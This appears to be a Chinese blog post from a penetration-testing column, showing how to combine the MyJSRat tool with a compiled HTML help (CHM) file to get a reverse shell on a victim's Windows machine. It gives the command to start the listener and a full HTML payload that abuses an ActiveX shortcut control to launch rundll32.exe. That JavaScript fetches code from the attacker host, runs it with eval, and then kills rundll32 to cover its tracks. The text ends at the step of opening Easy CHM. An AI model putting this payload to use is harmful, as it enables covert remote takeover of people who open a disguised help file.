MyJSRat结合CHM来反弹shell

最新推荐文章于 2024-03-30 10:00:02 发布

大方子

最新推荐文章于 2024-03-30 10:00:02 发布

阅读量721

点赞数 1

分类专栏：内网渗透

本文链接：https://blog.csdn.net/nzjdsds/article/details/100385438

版权

内网渗透专栏收录该内容

10 篇文章 8 订阅

订阅专栏

项目地址：https://github.com/Ridter/MyJSRat

python MyJSRat.py -i 192.168.61.130 -p 8080

-i：为攻击机的IP地址

-p：为监听的端口

然后访问http://192.168.61.130:8080/wtf得到攻击载荷

然后新建一个test.html把攻击载荷复制到里面

<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
This is a demo ! <br>
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
 <PARAM name="Button" value="Bitmap::shortcut">
 <PARAM name="Item1" value='这里填写Payload'>
 <PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>

写payload需要注意的是rundll32.exe前后要有 ,

我的payload如下

<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
This is a demo ! <br>
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
 <PARAM name="Button" value="Bitmap::shortcut">
 <PARAM name="Item1" value=',rundll32.exe, javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.61.130:8080/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'>
 <PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>

然后在打开Easy CHM